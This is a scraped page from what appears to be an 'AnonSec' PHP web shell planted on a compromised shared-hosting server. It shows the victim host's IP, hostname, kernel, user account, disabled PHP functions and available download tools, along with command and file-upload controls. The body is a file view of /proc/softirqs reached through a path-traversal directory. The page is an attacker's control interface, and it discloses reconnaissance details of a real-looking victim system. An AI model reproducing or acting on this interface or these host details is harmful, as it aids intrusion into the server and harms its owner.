Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.217.5
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../proc/100/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../proc/100/../softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   15981661   42938015   24179959   33531574   20534570   35549836   29666634   18898756   25383478   19710113   19914948   22073429  106518532   13145098   33064545   22885298
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         14          2          0          5          1
      NET_RX:   23298856   61278333   32812996   90691445   30893911  116103185   29736199   28663214   47004187   36097225   44907411   32189836   47661957   22326980   99193006  110045743
       BLOCK:    1150244    2068094    1908531    1489165    1225102    1272917    1257251    1197742    1318646    1105884     994791    1213280    1164522    1175873    1349524    1498055
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5289672   13304422    3895136   24289297    7729548   30400138    8022128    6547681   11267264    7758314   15451927    9083938   14645238    4244858   23730035    4077736
       SCHED:   38247775   18901464   12255744   15942527    9925263   18341077   10750147    9088958   11769379    9811562    9255466   11999966   21843465    8017011   16170964   21480533
     HRTIMER:       1623       4969       3316       8503       2131      12546       1409       2126       4218       2442       5324       3810       5303       1267       6915        956
         RCU:   38667487   70643074   48638162   83160242   45183823  102620385   48616697   41641398   56046515   47742617   40396521   43276751   93556803   36722386   93408516  143402697

AnonSec - 2021